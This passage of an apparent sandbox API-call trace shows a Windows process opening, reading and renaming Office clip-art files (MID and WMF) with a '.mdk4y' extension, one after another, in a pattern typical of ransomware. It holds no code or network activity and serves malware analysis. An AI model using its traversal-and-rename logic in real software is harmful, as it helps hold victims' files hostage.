Office\\CLIPART\\PUB60COR\\PARNT_03.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.mdk4y")) returned 1 [0171.449] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.449] AreFileApisANSI () returned 1 [0171.449] GetACP () returned 0x4e4 [0171.449] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PARNT_04.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PARNT_04.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0171.449] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824668000000) returned 1 [0171.450] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x17b6, lpOverlapped=0x0) returned 1 [0171.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824668900000) returned 1 [0171.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824668900000) returned 1 [0171.460] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.mdk4y")) returned 1 [0171.461] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.461] AreFileApisANSI () returned 1 [0171.461] GetACP () returned 0x4e4 [0171.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PARNT_05.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PARNT_05.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0171.461] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824669400000) returned 1 [0171.464] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1784, lpOverlapped=0x0) returned 1 [0171.470] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824670000000) returned 1 [0171.470] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824670000000) returned 1 [0171.471] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.mdk4y")) returned 1 [0171.471] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.471] AreFileApisANSI () returned 1 [0171.472] GetACP () returned 0x4e4 [0171.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PARNT_06.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PARNT_06.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0171.472] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.472] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824670200000) returned 1 [0171.472] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e58, lpOverlapped=0x0) returned 1 [0171.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824671200000) returned 1 [0171.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824671200000) returned 1 [0171.482] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.mdk4y")) returned 1 [0171.483] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.483] AreFileApisANSI () returned 1 [0171.483] GetACP () returned 0x4e4 [0171.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PARNT_07.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PARNT_07.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0171.484] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824671400000) returned 1 [0171.484] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x19a4, lpOverlapped=0x0) returned 1 [0171.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824671500000) returned 1 [0171.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824671500000) returned 1 [0171.486] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.mdk4y")) returned 1 [0171.486] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.486] AreFileApisANSI () returned 1 [0171.486] GetACP () returned 0x4e4 [0171.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PARNT_08.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PARNT_08.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0171.487] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.487] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824671700000) returned 1 [0171.487] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1cb3, lpOverlapped=0x0) returned 1 [0171.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824672100000) returned 1 [0171.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824672100000) returned 1 [0171.492] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.mdk4y")) returned 1 [0171.492] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.492] AreFileApisANSI () returned 1 [0171.492] GetACP () returned 0x4e4 [0171.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PARNT_09.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PARNT_09.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0171.492] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824672300000) returned 1 [0171.493] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a6c, lpOverlapped=0x0) returned 1 [0171.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824673100000) returned 1 [0171.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824673100000) returned 1 [0171.501] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.mdk4y")) returned 1 [0171.502] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.502] AreFileApisANSI () returned 1 [0171.502] GetACP () returned 0x4e4 [0171.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PARNT_10.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PARNT_10.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0171.502] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.502] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824673200000) returned 1 [0171.502] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1511, lpOverlapped=0x0) returned 1 [0171.507] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824673700000) returned 1 [0171.507] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824673700000) returned 1 [0171.508] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.mdk4y")) returned 1 [0171.508] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.508] AreFileApisANSI () returned 1 [0171.508] GetACP () returned 0x4e4 [0171.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00013_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00013_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.508] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824673900000) returned 1 [0171.509] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6140, lpOverlapped=0x0) returned 1 [0171.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824674000000) returned 1 [0171.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824674000000) returned 1 [0171.511] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf.mdk4y")) returned 1 [0171.512] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.512] AreFileApisANSI () returned 1 [0171.512] GetACP () returned 0x4e4 [0171.512] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00014_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00014_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.512] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.512] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824674200000) returned 1 [0171.512] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x411a, lpOverlapped=0x0) returned 1 [0171.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824675800000) returned 1 [0171.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824675800000) returned 1 [0171.528] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf.mdk4y")) returned 1 [0171.529] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.529] AreFileApisANSI () returned 1 [0171.529] GetACP () returned 0x4e4 [0171.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00034_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00034_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.529] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824676000000) returned 1 [0171.530] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3d5c, lpOverlapped=0x0) returned 1 [0171.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824676900000) returned 1 [0171.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824676900000) returned 1 [0171.539] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf.mdk4y")) returned 1 [0171.540] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.540] AreFileApisANSI () returned 1 [0171.540] GetACP () returned 0x4e4 [0171.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00049_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00049_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.540] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824677000000) returned 1 [0171.541] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4040, lpOverlapped=0x0) returned 1 [0171.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824677900000) returned 1 [0171.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824677900000) returned 1 [0171.550] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf.mdk4y")) returned 1 [0171.551] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.551] AreFileApisANSI () returned 1 [0171.551] GetACP () returned 0x4e4 [0171.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00050_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00050_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.551] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.551] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824678100000) returned 1 [0171.551] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4d18, lpOverlapped=0x0) returned 1 [0171.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824678700000) returned 1 [0171.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824678700000) returned 1 [0171.557] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf.mdk4y")) returned 1 [0171.558] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.558] AreFileApisANSI () returned 1 [0171.558] GetACP () returned 0x4e4 [0171.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00052_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00052_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.558] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.559] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824678900000) returned 1 [0171.559] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x47ec, lpOverlapped=0x0) returned 1 [0171.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824679700000) returned 1 [0171.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824679700000) returned 1 [0171.568] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf.mdk4y")) returned 1 [0171.568] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.568] AreFileApisANSI () returned 1 [0171.568] GetACP () returned 0x4e4 [0171.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00231_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00231_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.569] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.569] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824679900000) returned 1 [0171.569] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8b4, lpOverlapped=0x0) returned 1 [0171.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824680600000) returned 1 [0171.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824680600000) returned 1 [0171.577] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf.mdk4y")) returned 1 [0171.577] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.577] AreFileApisANSI () returned 1 [0171.577] GetACP () returned 0x4e4 